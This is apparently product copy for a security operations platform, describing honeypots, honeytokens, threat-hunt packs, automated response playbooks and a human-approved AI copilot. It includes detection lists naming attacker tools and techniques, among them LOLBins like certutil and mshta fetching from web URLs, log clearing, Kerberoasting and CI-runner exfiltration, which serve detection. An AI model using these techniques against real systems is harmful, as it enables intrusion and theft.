Decoy services (SSH · HTTP · DB · file-share) and honeytokens (AWS keys · DB rows · canary URLs) that scream the moment anyone touches them. Zero false positives by design — anyone interacting with a decoy is confirmed malicious.

Until the deploy layer ships, the “armed decoys” you see referenced in the Deception & Hunt Pack tabs reflect design state, not live listeners in your VPC. We won’t ship a fake “Deploy Honeypot” button that mutates ephemeral server-side state and pretends to stand up real infra.

Four hunt packs the SOC runs continuously. Every detection is git-versioned, ATT&CK-tagged, and CI-tested. Green signals are validated in last 90d.

Living-off-the-land binaries with web URLs or encoded args: certutil · bitsadmin · mshta · rundll32 · regsvr32 · wmic · msiexec. High-severity detect, SOAR auto-isolate.

EID 1102 (log cleared) · ETW provider-stop · EventLog service manipulation — any of these is a P0 incident. One of the last things an attacker does before leaving.

SwiftOnSecurity-base tuned <5% FP per host. Process · network · image-load · file-create visibility across the fleet. Feeds every other hunt pack.

Scheduled tasks · run-keys · WMI event-sub · cron · systemd-timer · services · browser extensions. Any unsigned or unbaselined artifact raised.

The graph is the platform. Every signal normalised, correlated, ranked — seventeen alerts about one thing collapse to one incident with a criticality score.

Every source piped to one schema. 90d hot + 7y cold. Cheap query. WORM + hash-chain for chain-of-custody.

Kafka · OTEL · Fluent-bit. Pub-sub topology. Schema-registry. Back-pressure monitored.

Nodes: identity · asset · signal · activity. Edges: has-session-on · authenticated-as · emitted-from · chains-to. Cypher-like query collapses N alerts → 1 incident.

Auto-group by entity + time-window. Criticality score 0-10. Owner auto-assigned. Alert-to-incident compression ≈ 240:1 today.

Git-versioned · CI-tested · Sigma / KQL / YARA-L · ATT&CK-tagged · PR-reviewed. No console-edits survive.

13 tactics × sub-techniques. Green = validated in last 90d via purple-team or BAS. Red = untested. Monthly gap closure tracked.

Each user / host / service-account has a peer-group baseline. Score is explainable (which dimensions caused it).

OpenCTI / MISP backend. Auto-enrich every alert. Confidence + decay. IOCs age-out by class.

Named hypothesis → query → schedule → finding → detection promoted to rule. Every hunt has a theory, not a keyword.

Auto-assembles events from graph. Narrative generated by Tier-4 copilot. Analyst edits before handoff.

Analyst thumbs-up / thumbs-down → rule tuning. FP rate auto-tracked per rule. Consistently-FP rules auto-disabled; author must repair.

Weekly safe-attack against self. Coverage delta drives next-sprint detection work. Purple-team owner feeds back.

If an analyst does it twice a week, it's a playbook. Human-in-the-loop tiers: L1 auto, L2 propose-approve, L3 review-only.

Triggered by ITDR + UEBA high-confidence signals. L1 auto. Reversible in one click.

Latest runs (7d): 47 · confirmed malicious 12 · false-positive analyst-reversed 3.

Fires on ransomware behaviour · LSASS-access by unsigned binary · BYOVD. L1 auto. 1-click revert for false-positive.

Latest runs (7d): 14 · confirmed malicious 8 · reversed 1.

Fires on gitleaks / trufflehog match in any repo, fork, or gist. Auto-rotate + auto-PR to codebase. L1 auto.

Latest runs (30d): 42 · mean rotation SLA 3h 12m · evidence of abuse before rotation: 0.

One analyst click → propagate to WAF + DNS RPZ + egress firewall + EDR. Ages-out on a default TTL unless manually re-signed.

Latest runs (7d): 62 · mean propagation 8s · aged-out reversibility 100%.

Graph API driven M365 + Google. Matches on subject/sender/URL hash. Purge from every mailbox. Reversible from evidence vault.

Latest runs (30d): 24 · mailboxes cleaned 8,412 · click-rate-post-purge 0.

User-report button → URL + attachment detonate in sandbox → verdict in < 3 min → bulk-remove if malicious. User gets thank-you with outcome.

This month: reports 284 · malicious 62 · mean triage time 2 m 18 s · user-satisfaction 4.8 / 5.

When a malicious-consent pattern is detected, revoke across the org in a single action. Stored revert for false-positive.

Recent: 3 org-wide revokes in 30d · users re-onboarded with vetted alternatives in mean 9 h.

Every playbook declares its tier. L1 runs on its own + logs; L2 proposes the action and waits for one-click approval; L3 is read-only — copilot drafts the proposal, human executes.

Every auto-action has an inverse. Dry-run mode for auditors. Monthly restore rehearsal.

Every incident auto-files a JIRA / ServiceNow ticket with timeline, IOCs, artifacts, suggested actions, and evidence ZIP.

The cheapest best-ROI detection we own. Fake creds, fake repos, fake files, fake roles — anyone touching them is confirmed malicious. Zero false positives by design.

Canarytoken-style access-key seeded in env files, S3 buckets, wiki, CI runner. Any use = P0. Auto-rotated weekly to stay fresh.

Plausible admin account, never used. Any auth attempt = P0. Cross-listed with ITDR + AD/Entra tabs.

"Confidential" PDF/docx seeded in shared drives + "private" SharePoint. Opening a doc phones home with source-IP + geo.

Private honey-repo inside our org. Looks real, contains canary secrets. Any clone / secret-use = attacker confirmed.

Service account with an SPN and a weak-looking password. Any TGS-REQ targeting it = red alert, zero false positives.

Fake "salaries" table or "customers_staging". Honey-records with canary-triggers. Any SELECT = incident.

404-by-default for humans. Any non-allow-listed call = alert. Classic /admin / /debug / /v1/internal lures.

Catches supply-chain implants that try to exfil from CI runner env. The bucket never holds real data; any read = malicious.

Register obvious-looking legacy subdomains (dev-old., staging-backup., admin-legacy.) pointing to a honeypot. Any scanner hit is logged + profiled. Optional retaliatory tarpit drops attacker scan speed to <1 rps.

Signatures fed to WAF + DNS block-list + ISAC share. All traffic is by definition malicious — zero FP.

AI multiplies the analyst — it does not replace them. The copilot lives inside the protection perimeter: same scoping, audit, and egress controls as any privileged user.

Groups related alerts, pulls threat-intel enrichment, suggests next-action with confidence score. Analyst confirms or overrides.

"Show hosts that beaconed to TLDs we've never seen in 30 days" → generated SQL/KQL + result. Analyst learns the dialect from the outputs.

"Why did this fire?" — walks the chain: rule → data-source → raw events → ATT&CK tag → similar past incidents → suggested next question.

Exec summary, user comms, legal-ready timeline, regulator notice. Redlined by analyst before send. No auto-send on anything human-bound.

Pulls 8 board metrics + top incidents + roadmap deltas. Auto-PDF. Editable before share.

Given last 7 days telemetry deltas, proposes five untested hunt hypotheses. Best ones graduate to hunt-as-code (T208).

Every tool-call, prompt, output, and override is logged. Same scrutiny as a privileged Linux shell. 7y retention. Analyst anomaly baselines apply.

No model-autonomous isolate / delete / send. An interstitial UI confirms the action, shows the audit record, and records the approving user. The model can propose; only a human disposes.